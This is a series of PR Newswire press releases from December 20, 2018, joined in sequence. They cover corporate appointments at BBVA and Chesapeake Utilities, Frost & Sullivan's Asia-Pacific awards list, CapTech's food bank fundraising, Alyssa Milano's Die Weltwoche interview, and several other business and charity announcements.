corporate considerations, as determined by the Company's management. Alamo Group is a leader in the design, manufacture, distribution and service of high quality equipment for infrastructure maintenance, agriculture and other applications. Our products include truck and tractor mounted mowing and other vegetation maintenance equipment, street sweepers, snow removal equipment, excavators, vacuum trucks, other industrial equipment, agricultural implements and related after-market parts and services. The Company, founded in 1969, has approximately 3,440 employees and operates 26 plants in North America, Europe, Australia and Brazil as of September 30, 2018. The corporate offices of Alamo Group Inc. are located in Seguin, Texas and the headquarters for the Company's European operations are located in Salford Priors, England. This release contains forward-looking statements that are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995. Forward-looking statements involve known and unknown risks and uncertainties, which may cause the Company's actual results in future periods to differ materially from forecasted results. Among those factors which could cause actual results to differ materially are the following: market demand, competition, weather, seasonality, currency-related issues, and other risk factors listed from time to time in the Company's SEC reports. The Company does not undertake any obligation to update the information contained herein, which speaks only as of this date. SOURCE Alamo Group Inc. Related Links http://alamo-group.com ZURICH, Dec. 20, 2018 /PRNewswire/ -- In a candid exchange with Amy Holmes for Switzerland's leading opinion weekly Die Weltwoche, actor and activist Alyssa Milano tells Holmes that 2016 presidential candidate Hillary Clinton is not a leader of the #MeToo movement against sexual harassment and abuse: "I don't think that she is a leader of the #MeToo movement." When asked if Clinton should challenge President Trump in 2020, Milano bluntly answers: "I'd like to see a progressive with a brain and a heart." She adds, "I hope neither Secretary Clinton or Senator Sanders run again." In Die Weltwoche's exclusive interview of Milano for a European audience, the star discusses the meaning and future of #MeToo, and the many men who stand accused. On Oscar-winning director Woody Allen: " Woody Allen and Roman Polanski can disappear. Their careers should be done." A year later, on Oscar winner Matt Damon's contention sexually abusive behavior is on a continuum: "I think Matt's probably a good guy who, like many men in this nation, were never taught better. He said something that I found harmful and dangerous." But, she adds, "I laughed like crazy when he played Kavanaugh. There's not bad blood there." On Justice Brett Kavanaugh now sitting on the Supreme Court: "Yes. I feel rage. But I feel more resolve than ever. They gave us Kavanaugh. They're going to pay for that dearly in 2020." On #MeToo accusations against the late former president George H.W. Bush: "I think to some degree we have to understand the time people came up in." "He's done some not great things. He's admitted to it. They were wrong. I don't think it should forever tarnish things for him." On "Bay Watch" star Pamela Anderson claiming "third wave of feminism is a bore": "No. Not at all." "Feminism has not gone too far. It's not gone far enough, yet." Read the full interview: https://www.weltwoche.ch/ausgaben/2018-51/artikel/alyssa-milano-die-weltwoche-ausgabe-51-2018.html Die Weltwoche is Switzerland's leading German-language opinion weekly with a readership of over 400,000 in Switzerland, Germany, and Austria. Available on newsstands now. Contact: Urs Gehriger, foreign editor, Die Weltwoche. Email. [email protected] Related Links Die Weltwoche. The #MeToo Tweet That Changed Everything SOURCE Die Weltwoche Related Links https://www.weltwoche.ch SINGAPORE, Dec. 20, 2018 /PRNewswire/ -- Frost & Sullivan honored Asia's leading companies at its 11th annual Asia-Pacific Best Practices Awards banquet held on 27 November at the Shangri-La Hotel Singapore. Mr. Shivaji Das, Partner & Asia-Pacific Managing Director at Frost & Sullivan noted that the annual awards was held to honor and recognize companies that have pushed the boundaries of excellence in Asia-Pacific. "We are delighted to highlight best practices and honor companies that have delivered excellence in their respective industries. Through this recognition, Frost & Sullivan hopes that the companies will continue to excel and spur them to further achievements," he added. The recipients of the annual Frost & Sullivan Asia-Pacific Best Practices Awards were identified based on in-depth research conducted by Frost & Sullivan's analysts. The award categories offered each year are carefully reviewed and evaluated to reflect the current market landscape and include new emerging trends. The nominated companies were then evaluated on a variety of actual market performance indicators which include revenue growth; market share and growth in market share; leadership in product innovation; marketing strategy and business development strategy. Frost & Sullivan congratulates all the recipients of the 2018 Asia-Pacific Best Practices Awards. GLOBAL 2018 Global Halal Glove Company of the Year KOSSAN RUBBER INDUSTRIES BHD 2018 Global Medical Glove Technology Innovation Award SMART GLOVE HOLDINGS 2018 Global API Manufacturing (Oligonucleotide) Growth Excellence Leadership Award ST PHARM 2018 Global Integrated Drug R & D Services Competitive Strategy Innovation & Leadership Award WUXI APPTEC ASIA-PACIFIC 2018 Asia-Pacific OSS/BSS Vendor of the Year AMDOCS 2018 Asia-Pacific Home Water Treatment Company of the Year AMWAY 2018 Asia Pacific Outbound Systems Market Share Leadership Award ASPECT SOFTWARE (ASIA PACIFIC) PTE LTD 2018 Asia-Pacific Contact Center Applications Growth Excellence Leadership Award ASPECT SOFTWARE (ASIA PACIFIC) PTE LTD 2018 Asia-Pacific CRO Customer Value Leadership Award COVANCE INC 2018 Asia Pacific Renewable Inverter Product Line Strategy Leadership Award DESTIN POWER INC 2018 Asia-Pacific E-Commerce Logistics Service Provider of the Year DHL eCOMMERCE 2018 Asia-Pacific Customer Experience System Integrator of the Year DIMENSION DATA ASIA PACIFIC 2018 Asia-Pacific Demand-Side Management Growth Excellence Leadership Award GRIDWIZ, INC. 2018 Asia Pacific Process Safety Systems Industry Growth Excellence Leadership Award HIMA 2018 Asia-Pacific Self-Service Contact Centre Application Vendor of the Year HUAWEI 2018 Asia-Pacific Telecom Equipment Vendor of the Year HUAWEI 2018 Asia-Pacific AMI Solutions Company of the Year ITRON INC 2018 Asia Pacific Secondary Battery Technology Innovation Award JENAX INC. 2018 Asia Pacific Facilities Management Company of the Year JLL 2018 Asia-Pacific Logistics Service Provider of the Year KERRY LOGISTICS NETWORK 2018 Asia-Pacific Road Transportation Service Provider of the Year KERRY LOGISTICS NETWORK 2018 Asia-Pacific Omni-Channel Logistics Service Provider of the Year LF LOGISTICS 2018 Asia-Pacific Warehouse Service Provider of the Year LF LOGISTICS 2018 Asia-Pacific Logistics Facilities Developer of the Year MAPLETREE LOGISTICS TRUST MANAGEMENT LTD 2018 Asia-Pacific Clinical Trial IT Solutions Provider of the Year MEDIDATA SOLUTIONS 2018 Asia-Pacific Biotech CRO Company of the Year NOVOTECH, THE ASIA PACIFIC CRO 2018 Asia-Pacific Cloud Contact Center Service Provider of the Year ORANGE BUSINESS SERVICES 2018 Asia-Pacific Cloud UC Growth Excellence Leadership Award ORANGE BUSINESS SERVICES 2018 Asia-Pacific Data Communication Service Provider of The Year ORANGE BUSINESS SERVICES 2018 Asia-Pacific Data Center Infrastructure Service Provider of the Year SCHNEIDER ELECTRIC 2018 Asia-Pacific UPS Competitive Strategy Innovation and Leadership Award SCHNEIDER ELECTRIC 2018 Asia-Pacific Liquid Chromatograph - Mass Spectrometry New Product Innovation Award SHIMADZU 2018 Asia Pacific Bottled Water Company of the Year SPRITZER 2018 Asia-Pacific Property Development Competitive Strategy Innovation and Leadership Award SUNWAY BERHAD 2018 Asia-Pacific Managed UC Services Provider of the Year TATA COMMUNICATIONS 2018 Asia Pacific Smart Utility Communications Platform Company of the Year TRILLIANT HOLDINGS INC 2018 Asia Pacific Customer Contact Optimization Solutions Vendor of the Year VERINT SYSTEMS SOUTHEAST ASIA 2018 Southeast Asia Unified Communications System Integrator of the Year DIMENSION DATA ASIA PACIFIC 2018 Southeast Asia Managed Security Service Provider of the Year TRUSTWAVE, A SINGTEL COMPANY COUNTRY 2018 Australia Customer Contact Outsourcing Service Provider of the Year STELLAR 2018 Australia Data Center Service Provider of the Year EQUINIX 2018 Cambodia Mobile Data Service Provider of the Year SMART AXIATA CO., LTD 2018 Cambodia Mobile Service Provider of the Year SMART AXIATA CO., LTD 2018 Indonesia Healthcare IT Company of the Year PT. QPRO SUKSES MANDIRI 2018 Indonesia Smart City infrastructure Service Provider of the Year LINTASARTA Excellence in Customer Experience - Telecommunications Industry Indonesia - Overall Experience PT TELEKOMUNIKASI SELULAR Excellence in Customer Experience - Telecommunications Industry Indonesia -Online Experience PT TELEKOMUNIKASI SELULAR 2018 Japan Managed Security Service Provider of the Year NRI SECURETECHNOLOGIES 2018 North American Artificial Intelligence for Aging Research and Drug Development Technology Innovation Award INSILICO MEDICINE , INC. 2018 Philippines Contact Center System Integrator of the Year DTSI GROUP 2018 Philippines Cloud Infrastructure Service Provider of the Year GLOBE TELECOM 2018 Philippines Data Center Service Provider of the Year GLOBE TELECOM 2018 Philippines Facilities Management Customer Value Leadership Award FPD ASIA PROPERTY SERVICES, INC. 2018 Philippines Property Development Growth Excellence Leadership Award SM PRIME HOLDINGS, INC. 2018 Singapore Data Center Competitive Strategy Innovation & Leadership Award SINGTEL 2018 Singapore Managed Security Service Provider of the Year TRUSTWAVE, A SINGTEL COMPANY 2018 Singapore Mobile Wallet Platform Growth Excellence Leadership Award MATCHMOVE PAY 2018 Singapore Wholesale Colocation Data Center Service Provider of the Year KEPPEL DATA CENTRES 2018 South Korea Managed Security Service Provider of the Year AHNLAB 2018 Taiwan Data Center Service Provider of the Year CHUNGHWA TELECOM 2018 Taiwan Mobile Service Provider of the Year CHUNGHWA TELECOM 2018 Vietnam Hospital of the Year HOAN MY MEDICAL CORPORATION 2018 China Contact Center Outsourcing Growth Excellence Leadership Award TELEPERFORMANCE CHINA About Frost & Sullivan Frost & Sullivan, the Growth Partnership Company, works in collaboration with clients to leverage visionary innovation that addresses the global challenges and related growth opportunities that will make or break today's market participants. For more than 50 years, we have been developing growth strategies for the global 1000, emerging businesses, the public sector and the investment community. Is your organization prepared for the next profound wave of industry convergence, disruptive technologies, increasing competitive intensity, Mega Trends, breakthrough best practices, changing customer dynamics and emerging economies? Contact Us: Start the discussion Media Contact Melissa Tan Corporate Communications Asia-Pacific Phone: +65.6890.0926 Email: [email protected] SOURCE Frost & Sullivan Related Links http://www.frost.com "Javier is the best fit for advancing the work of the bank in the U.S.," said BBVA's current U.S. Country Manager and future BBVA Group CEO Onur Genc. "His broad range of experience, both in the U.S. and globally, will ensure that BBVA in the U.S. will continue on the path of profitable growth that is underpinned by its digital transformation efforts." Rodriguez Soler is currently BBVA Group's global head of Strategy and M&A, where his corporate development functions include setting the strategy at both the Group and country level, where he has had extensive exposure to the U.S. His area of responsibility also includes the Real Estate and Equity Holdings units. Rodriguez Soler joined the bank in 2008 as a managing director for Corporate & Investment Banking. Prior to BBVA, Rodriguez Soler was director of Investor Relations and director of Strategy and M&A with Spanish utility Endesa, where he worked for five years. He was also an engagement manager with McKinsey, a global management consulting firm. The Madrid-born Rodriguez Soler holds a Master of Business Administration from Columbia Business School in New York and studied Business Administration and Management at CUNEF in Madrid. In the academic field, he also served as professor at CEU-Universidad Complutense de Madrid. He is married and the father of two children. "I couldn't be more excited to be part of the U.S. team and work with them to advance the bank's strategic objectives in the country," Rodriguez Soler said. "I am looking forward to building on the work Onur has done over the past two years in order to continue the strong momentum now and into the future." The appointment is likely to become effective at the start of the year, once the relevant authorizations have been obtained. To learn more about BBVA Compass, visit: www.bbvacompass.com For more news visit: www.bbva.com and newsroom.bbvacompass.com About BBVA Group BBVA (NYSE: BBVA) is a customer-centric global financial services group founded in 1857. The Group has a strong leadership position in the Spanish market, is the largest financial institution in Mexico, it has leading franchises in South America and the Sunbelt Region of the United States; and it is also the leading shareholder in Garanti, Turkey's biggest bank for market capitalization. Its diversified business is focused on high-growth markets and it relies on technology as a key sustainable competitive advantage. Corporate responsibility is at the core of its business model. BBVA fosters financial education and inclusion, and supports scientific research and culture. It operates with the highest integrity, a long-term vision and applies the best practices. More information about BBVA Group can be found at bbva.com. About BBVA Compass BBVA Compass is a Sunbelt-based financial institution that operates 645 branches, including 332 in Texas, 89 in Alabama, 63 in Arizona, 61 in California, 45 in Florida, 37 in Colorado and 18 in New Mexico. BBVA Compass ranks among the top 25 largest U.S. commercial banks based on deposit market share and ranks among the largest banks in Alabama (2nd), Texas (4th) and Arizona (6th). BBVA Compass has been recognized as one of the leading small business lenders by the Small Business Administration (SBA) and ranked 6th nationally in the total number of SBA loans originated in fiscal year 2017. Additional information about BBVA Compass can be found under the Investor Relations tab at bbvacompass.com. For more BBVA Compass news, follow @BBVACompassNews on Twitter, visit newsroom.bbvacompass.com, or visit bbva.com. SOURCE BBVA Compass Related Links http://www.bbva.com WASHINGTON, Dec. 20, 2018 The Brand Safety Institute (BSI) today named two dozen industry leaders as founding members of the BSI Editorial Board, which will help design the brand safety curriculum for BSI's accreditation program for corporate executives. The new editorial board includes senior executives focusing on brand safety and related issues from top trade associations including the 4A's, IAB UK, IAB Tech Lab, ISBA, JICWEBS, and TAG and companies including Bank of America, Facebook, IPG Mediabrands, GroupM, and Pandora. "If you want to establish a rigorous standard for brand safety knowledge and expertise, you need to consult with the industry leaders who have set the bar on those issues," said Neal Thurman, Co-Founder of BSI. "We are delighted to welcome a powerhouse panel of brand safety experts from across the digital advertising space to help us design a robust, impactful, and forward-thinking brand safety curriculum. Working together, we can give brand safety executives the information and tools they need to protect their brands and our ecosystem from the growing range of brand safety threats." Founding members of the BSI Editorial Board include: Joe Barone , Managing Partner, Digital Ad Operations, GroupM North America , Managing Partner, Digital Ad Operations, GroupM North America Rob Beeler , Chairman, AdMonsters , Chairman, AdMonsters Alyssa Bergman , VP & Chief Privacy Officer, Adobe , VP & Chief Privacy Officer, Adobe Jason Bier , EVP, Chief Data & Privacy Officer, Engine Group , EVP, Chief Data & Privacy Officer, Engine Group Dennis Buchheim , SVP & GM, IAB Tech Lab , SVP & GM, IAB Tech Lab Steve Chester , Director of Media, ISBA , Director of Media, ISBA Scott Cunningham , Founder, Cunningham.Tech , Founder, Cunningham.Tech Christine Desrosiers , Director, Revenue Systems & Programmatic, BabyCenter , Director, Revenue Systems & Programmatic, BabyCenter John Devine , Head of Global Operations, Facebook , Head of Global Operations, Facebook Richard Foan , Executive Chairman, JICWEBS , Executive Chairman, JICWEBS Rachel Glasser , Chief Privacy Officer, Wunderman , Chief Privacy Officer, Wunderman Stacey Hultgren , Senior Manager, Ad Quality Measurement, Pandora , Senior Manager, Ad Quality Measurement, Pandora Louis Jones , EVP, Media & Data, 4A's , EVP, Media & Data, 4A's Jessica King , Senior Product Manager, Unruly , Senior Product Manager, Unruly Joshua Lowcock , EVP, Chief Digital & Innovation Officer, UM (part of IPG Mediabrands) , EVP, Chief Digital & Innovation Officer, UM (part of IPG Mediabrands) Jon Mew , CEO, IAB UK , CEO, Jessica Morel , VP, Global Marketing, Oracle Data Cloud , VP, Global Marketing, Oracle Data Cloud John Murphy , VP, Marketplace Quality, OpenX , VP, Marketplace Quality, OpenX Richard Murphy , EVP, BPA Worldwide , EVP, BPA Worldwide Terri Schriver , SVP, Enterprise Media, Bank of America , SVP, Enterprise Media, Bank of America Rachel Nyswander Thomas - Chair of BSI Editorial Board - SVP, Operations & Policy, Trustworthy Accountability Group - SVP, Operations & Policy, Trustworthy Accountability Group Sal Tripi , AVP, Digital Operations & Compliance, Publishers Clearing House , AVP, Digital Operations & Compliance, Publishers Clearing House Kyle Turner , Senior Manager, Inventory Quality, MediaMath , Senior Manager, Inventory Quality, MediaMath Eric Warburton , VP, Ad Operations, Horizon Media , VP, Ad Operations, Horizon Media Oliver von Wersch , Founder & CEO, vonwerschpartner Digital Strategies As part of the announcement, BSI and the Trustworthy Accountability Group (TAG) also released the second in a series of joint white papers on brand safety issues, "Defining Brand Safety: Execution Challenges." The white paper found that investment in brand safety initiatives resulted in a positive ROI for some marketers who tracked that cost, while brands' increased focus on brand safety strategy enabled greater, more transparent collaboration with their agency partners. The paper was also the first to quantify brand safety investment, finding that large agency holding companies are currently spending between $3-7 million annually on fixed-cost brand safety expenses. "By talking to the people on the front lines of brand safety, this white paper helps identify the opportunities and challenges we face as an industry," said Mike Zaneis, CEO of TAG and Co-Founder of BSI. "The most important takeaway was the importance of making brand safety a strategic imperative in every organization and investing the necessary resources for success. When companies elevate brand safety as a priority, they can reduce risk, improve coordination, and strengthen ROI across their marketing programs." Areas of focus for the brand safety curriculum will include building brand reputation, creating a safe supply chain, improving ad quality and experience, safeguarding ad adjacency, strengthening consumer choice, establishing the role of the brand safety officer, and reducing criminal activity (piracy/fraud/malware). The Brand Safety Institute plans to work with the Editorial Board to develop the curriculum for its Brand Safety Officer certification program before launching its training platform for executives in Q1 2019. Individuals can request information and an application for the certification program by registering at brandsafetyinstitute.com. About the Brand Safety Institute The Brand Safety Institute is a digital advertising industry initiative to professionalize the work of brand protection. Through its research, education, and certification programs, the Brand Safety Institute gives ad industry executives the expertise and skills they need to minimize brand risks and capitalize on brand opportunities in the digital advertising supply chain. Through its Brand Safety Officer certification program, the Brand Safety Institute helps leaders set the highest standards for brand protection, learn new and emerging best practices, and build an industry-wide community of brand safety peers. More information about the Brand Safety Institute can be found at brandsafetyinstitute.com. Media Contact: Andrew Weinstein 202-667-4967 [email protected] SOURCE Brand Safety Institute "We're excited CapTech and its employees have once again chosen to give to Food Bank of the Rockies through their CapTech Food Fight," says Michelle Barnes, FBR's Interim President and CEO. "This friendly rivalry to raise funds will help us provide more than 23,000 meals to our community. We're so grateful for this generous support. It means the world to us and helps the families we serve thrive through the holidays and into the New Year." CapTech's National Food Fight, which takes place annually in November, raised over $115,000 for local food banks across the country in 2018. CapTech Denver competed against other offices to raise the most funds per capita for local food banks, increasing their funds raised for FBR over 450% from the 2017 fundraiser. "Positively contributing to the communities where we live and work is critically important to our Denver-based team and our company overall," said CapTech office lead Mark Fitzgerald. "CapTech is thrilled to support an outstanding organization like Food Bank of the Rockies and the important service they provide for individuals throughout Colorado." Food Bank of the Rockies helps provide 134,000 meals a day for men, women, and children across 30 counties in Colorado and the state of Wyoming. Their mission is to help families thrive by efficiently procuring and distributing food and essentials to the hungry through their programs and partner agencies. To learn more about donating or getting involved, visit www.foodbankrockies.org. About Food Bank of the Rockies: Food Bank of the Rockies works to make food security a reality for Colorado and Wyoming families. As Colorado's largest health and human services non-profit, we distribute more than 145,000 meals a day through our direct service programs and partner agencies, helping families thrive in 30 Colorado counties, including Metro Denver, and the entire state of Wyoming. One in ten Coloradans, including one in six Colorado children, struggle with hunger. Since 1978, FBR has provided more than 668 million meals to people in need in our community. Food Bank of the Rockies is a member of Feeding America. For additional information, please visit www.foodbankrockies.org. "Like" FBR on Facebook and Instagram, follow us on Twitter, and learn more on our blog! About CapTech: CapTech (www.captechconsulting.com) is a national IT management consulting firm that bridges the gap between business and technology. We partner with some of the world's most successful companies to design, develop, and manage technical and digital solutions that delight customers, drive insights, and meet strategic objectives. Headquartered in Richmond, Virginia, CapTech has locations in Atlanta, Baltimore, Charlotte, Chicago, Columbus (Ohio), Denver, Orlando, Philadelphia, San Francisco, and Washington DC. Contact: Emily Krause | CapTech [email protected] | 804-615-3712 SOURCE CapTech Related Links http://www.captechconsulting.com "We are honored to count on the support of our community as we work to end hunger by 2025. This generous donation brings us one step closer to reaching our goal of ensuring all our neighbors have access to the nutritious meals they need, when they need them," said Kyle Waide, the Atlanta Community Food Bank's President and CEO. CapTech's National Food Fight, which takes place annually in November, raised over $115,000 this year for local food banks across the country. CapTech Atlanta competed against other offices to raise the most funds per capita for local food banks, increasing their funds raised for the Atlanta Community Food Bank over 380% from the 2017 fundraiser. "Our office really rallied behind our continued partnership with the Atlanta Community Food Bank," said CapTech office lead Jon Bradway. "Knowing that more than one in five Georgia kids live in a food insecure household, it is humbling to see the combination of friendly competition and the generous nature of our employees to help fight hunger." The Atlanta Community Food Bank works with more than 600 partners to distribute 59 million meals every year to more than 775,000 hungry neighbors across metro Atlanta and north Georgia. To learn more about donating or volunteering, visit acfb.org. About CapTech: CapTech (www.captechconsulting.com) is a national IT management consulting firm that bridges the gap between business and technology. We partner with some of the world's most successful companies to design, develop, and manage technical and digital solutions that delight customers, drive insights, and meet strategic objectives. Headquartered in Richmond, Virginia, CapTech has locations in Atlanta, Baltimore, Charlotte, Chicago, Columbus (Ohio), Denver, Orlando, Philadelphia, San Francisco, and Washington DC. Contact: Emily Krause | CapTech [email protected] | 804-615-3712 SOURCE CapTech Related Links http://www.captechconsulting.com The CapTech Food Fight for Feed More is part of the CapTech's National Food Fight, an annual fundraising campaign where each of CapTech's eight offices compete to raise the most funds per capita for their local food bank. This year, the campaign raised over $115,000 for local food banks across the U.S. Launched in 2013, the program has donated a combination of food and funds, providing more than 420,000 meals locally over the past six years. "We continue to be impressed with and inspired by CapTech's commitment to our mission," said Doug Pick, Chief Executive Officer and President at Feed More. "We love the spirit of CapTech's annual Food Fight and are incredibly grateful to have them by our side as we help our Central Virginia neighbors in their times of need." "Each year I continue to be blown away by the generosity that CapTech demonstrates during this campaign," said CapTecher Jonathan Henry. "The office seems to get more and more creative with our fundraising ideas, using additional ways to outpace the previous year's donation totals. The enthusiasm and excitement for this campaign is infectious and grows each year. It has been really energizing to see the impact our donations and volunteer efforts make on Feed More and within the greater Richmond community." With one in seven neighbors, or close to 200.000 individuals, struggling with hunger, Feed More collects, prepares and distributes food to neighbors in need across 34 counties and cities in Central Virginia. Through programs like Meals on Wheels, the Mobile Pantry, Kids Cafe and weekend Back Pack program, and Feed More's network of nearly 300 agencies, last year Feed More distributed more than 21 million meals to neighbors in need across the Commonwealth. About Feed More: Feed More collects, prepares and distributes food to neighbors in need throughout Central Virginia. With a service area that stretches across 34 counties and cities, Feed More's comprehensive programs and network of nearly 300 agencies helps ensure our communities have access to healthy meals year-round. Feed More is a proud member of Feeding America and Meals on Wheels America. For additional information, please visit FeedMore.org , find us on Facebook and follow us on Instagram and Twitter. About CapTech: CapTech (www.captechconsulting.com) is a national IT management consulting firm that bridges the gap between business and technology. We partner with some of the world's most successful companies to design, develop, and manage technical and digital solutions that delight customers, drive insights, and meet strategic objectives. Headquartered in Richmond, Virginia, CapTech has locations in Atlanta, Baltimore, Charlotte, Chicago, Columbus (Ohio), Denver, Orlando, Philadelphia, San Francisco, and Washington DC. Contact: Emily Krause | CapTech [email protected] | 804-615-3712 SOURCE CapTech Related Links http://www.captechconsulting.com "The creativity and excitement shown by the CapTech Chicago office in their fund raising is truly inspiring," said Greater Chicago Food Depository Food Drive Marketing Manager Mark Beers. "Fighting hunger in Cook County is truly a community effort, and I love how CapTech Chicago took this as an opportunity to strengthen and engage their office community while supporting our efforts to make sure no one goes hungry." CapTech's National Food Fight, which takes place annually in November, raised over $115,000 for local food banks across the country in 2018. The Chicago office was the 2018 winner of the Food Fight, raising an impressive average of $232 per person. "Given the reach across Chicagoland of the Greater Chicago Food Depository, the CapTech Chicago team chose to work with them in our annual holiday charity challenge," said CapTecher and Greater Chicago Food Depository volunteer Brad Jaehn. "It was incredible to see the generous spirit of our employees and the drive of friendly competition across our company help raise money to address hunger with this amazing organization." The Greater Chicago Food Depository distributes an average of 200,000 pounds of food every day to people in need across Chicago and Cook County. Their mission is to provide food for hungry people while striving to end hunger in the community. To learn more about donating or volunteering, visit www.chicagosfoodbank.org. About Greater Chicago Food Depository: The Greater Chicago Food Depository, Chicago's food bank, is a nonprofit food distribution and training center providing food for hungry people while striving to end hunger in our community. The Food Depository, founded in 1979, makes a daily impact across Cook County with a network of 700 pantries, soup kitchens, shelters, mobile programs, children's programs, older adult programs, and innovative responses that address the root causes of hunger. Last year, the Food Depository distributed more than 69 million pounds of shelf-stable food, fresh produce, dairy products, and meat, the equivalent of 159,000 meals every day. For more information, visit www.chicagosfoodbank.org or call 773-247-FOOD. About CapTech: CapTech (www.captechconsulting.com) is a national IT management consulting firm that bridges the gap between business and technology. We partner with some of the world's most successful companies to design, develop, and manage technical and digital solutions that delight customers, drive insights, and meet strategic objectives. Headquartered in Richmond, Virginia, CapTech has locations in Atlanta, Baltimore, Charlotte, Chicago, Columbus (Ohio), Denver, Orlando, Philadelphia, San Francisco, and Washington DC. Contact: Emily Krause | CapTech [email protected] | 804-615-3712 SOURCE CapTech Related Links http://www.captechconsulting.com CSE: CRL FSE: 7C5 OTC:CDTAF VANCOUVER, Dec. 20, 2018 /PRNewswire/ - Carl Data Solutions Inc. (CSE:CRL, FSE:7C5, OTC:CDTAF) ("Carl Data" or the "Company"), is pleased to announce that Astra Smart Systems Inc. ("Astra") is launching its new AirSafe environmental sensor, with concurrent pilots in multiple industries. According to a recent study by Market Future Research, the environmental monitoring market is predicted to reach USD $19.56B by 2022. Astra AirSafe is a light weight, ultra low-cost device that measures temperature, humidity and many possibly dangerous substances, including methane, hydrogen and smoke, for advanced safety protection. Remote resort locations, mining, and forestry companies are piloting this possibly life-saving tool, with ATCO Wood Products Inc. and the Castlegar & District Chamber of Commerce kicking off the installations. "Astra has cultivated great industry partners throughout the Lower Columbia Kootenay region," said Pilar Portela, Astra CEO. "It is an honor to be able to work closely within our community to improve safety, while at the same time building a versatile product that will have an international impact." The broad detecting scope, high sensitivity and a fast response time of AirSafe, combined with Carl Data's technology agnostic platform's built in alerting and alarming tools will allow for better real-time safety for assets and workers. This machine learning/AI enabled device will also be able to use data to give accurate future predictions about an environment, helping industries to be proactive with operations and risk management. "These pilots are just the beginning of what Astra and Carl Data are going to accomplish within the huge burgeoning environmental monitoring market," said Greg Johnston, Carl Data President and CEO. "Our clients will be amazed at the variety of products and applications we will be bringing to market in the new year." About Astra Smart Systems Inc. Astra is located at the i4C Innovation building, an Industrial IoT lab, production and development facility located in Trail, B.C., Canada. Astra's mandate is to develop E2E solutions for complex industrial challenges. Astra's facility is at the centre of the Kootenay regions industrial fibre optic hub and sits along the newly established Metal Tech Alley. This corridor of high-technology ventures focused on industrial innovation, right across from the regional Trail Airport (YZZ) and with railway access to the US border at only seven kms away. Astra offers custom-designed infrastructure, equipment, and professional services for IIoT applications. More information can be found at http://astra.earth. About Carl Data Solutions Inc. Carl Data Solutions Inc. is an Industrial IoT (IIoT) company focused on providing next generation information collection, storage and analytics solutions for data-centric companies. Building on its recent acquisitions, Carl Data helps its clients analyze and understand all forms of environmental data through a powerful platform of data collection, monitoring, reporting, and predictive analysis tools. Carl Data continues to develop applications to work with new cloud-based mass storage services and analytics tools (BDaaS) to provide scalability for municipalities, utilities and other industrial verticals. These data collection and storage methods allow the company to build smart Software-as-a-Service (SaaS)-based applications that can collect data from many diverse sources and provide deep insight for decision-making purposes. More information can be found at www.CarlSolutions.com. On behalf of the Board of Directors: Greg Johnston President, Chief Executive Officer, Director Carl Data Solutions Inc. The Canadian Securities Exchange (operated by CNSX Markets Inc.) has neither approved nor disapproved of the contents of this press release. Forward-Looking Statements This press release contains certain forward-looking statements within the meaning of applicable securities law. Forward-looking statements are frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. In particular, forward-looking statements in this press release include, but are not limited to, the statements that Astra's product will have an international impact; that the broad detecting scope, high sensitivity and a fast response time of AirSafe, combined with Carl Data's technology agnostic platform's built in alerting and alarming tools will allow for better real-time safety for assets and workers; that the machine learning/AI enabled device will also be able to use data to give accurate future predictions about an environment, helping industries to be proactive with operations and risk management; that the pilots are just beginning of what Astra and Carl Data are going to accomplish within the huge burgeoning environmental monitoring market and their clients will be amazed at the variety of products and applications they will be bringing to market in the new year. Although the Company believes that the expectations reflected in the forward-looking statements are reasonable, there can be no assurance that such expectations will prove to be correct. Such forward-looking statements are subject to risks and uncertainties that may cause actual results, performance or developments to differ materially from those contained in the statements including, without limitation, risks with respect to: that the Company may lose the confidence of municipal partners in its services; the ability of the Company to establish a market for its services; competitive conditions in the industry; general economic conditions in Canada and globally; the inability to secure additional financing; competition for, among other things, capital and skilled personnel; potential delays or changes in plans with respect to deployment of services or capital expenditures; possibility that government policies or laws may change; technological change; risks related to the Company's competition; the Company's not adequately protecting its intellectual property; interruption or failure of information technology systems; and regulatory risks relating to the Company's business, financings and strategic acquisitions. Any forward-looking statements contained in this press release are made as of the date of this press release. The Company disclaims any intent or obligation to update publicly any forward-looking information, whether as a result of new information, future events or results or otherwise, other than as required by applicable securities laws. SOURCE Carl Data Solutions Inc. Related Links www.CarlSolutions.com KILLEEN, Texas, Dec. 20, 2018 /PRNewswire/ -- On Nov. 15, The Carlson Law Firm asked for submissions to bless someone in need with a Christmas Miracle. We asked for stories from the heart; and to let us know how we can make a difference in your loved ones' lives. Within days, we received hundreds of worthy nominations. We were so overwhelmed with the response that instead of blessing one family with a Carlson Christmas Miracle, we decided to select three. Throughout December, we delivered gifts to these very deserving families. Erica in San Antonio . Erica received a cancer diagnosis then had to have a splenectomy. Her health left her unable to work. While the family had a home, they lived without furniture for months after Erica fled an abusive relationship. The family received beds, as well as Christmas decorations and presents from The Carlson Law Firm. . Erica received a cancer diagnosis then had to have a splenectomy. Her health left her unable to work. While the family had a home, they lived without furniture for months after Erica fled an abusive relationship. The family received beds, as well as Christmas decorations and presents from The Carlson Law Firm. Amy in Austin . Amy nominated her kids for A Carlson Christmas Miracle. After her husband suffered a stroke, Amy was unsure of how they would make Christmas happen for their children. The Carlson Law Firm decided to step in and get the children everything on their Christmas wish. Further, we covered the family's rent for the month of January to give them a financial head start in the coming year. . Amy nominated her kids for A Carlson Christmas Miracle. After her husband suffered a stroke, Amy was unsure of how they would make Christmas happen for their children. The Carlson Law Firm decided to step in and get the children everything on their Christmas wish. Further, we covered the family's rent for the month of January to give them a financial head start in the coming year. Mary in Lubbock . Mary takes care of four of her grandchildren on a limited income. For the last few months, the family has lived without heat and been unable to cook after the gas company discovered a leak and shut the gas off. Mary did not ask the firm to cover the gas line repair, but instead wanted to give her grandchildren Christmas dinner. Rather than provide one warm meal, we decided to pay for the gas line repairs that will allow her to cook dinner every night and heat their home as Lubbock temperatures continue to plummet through the winter. Additionally, we purchased everything on her grandchildren's Christmas list. You can watch the families' stories on The Carlson Law Firm's YouTube https://youtu.be/IBrkuFsj6TU , or visit our website for the full release. About Carlson Cares Carlson Cares is the charitable program of The Carlson Law Firm. With 12 locations across Texas, our firm believes that promoting personal care and community service is just one component to properly serve our clients. Media Contact: Kazia Conway [email protected] SOURCE The Carlson Law Firm Related Links https://www.carlsonattorneys.com/ DOVER, Del., Dec. 20, 2018 /PRNewswire/ -- Chesapeake Utilities Corporation (NYSE: CPK) today announced that its Board of Directors has appointed Jeffry M. Householder, currently President of the Company's Florida business unit, President and Chief Executive Officer ("CEO"), effective January 1, 2019. Concurrent with this promotion, 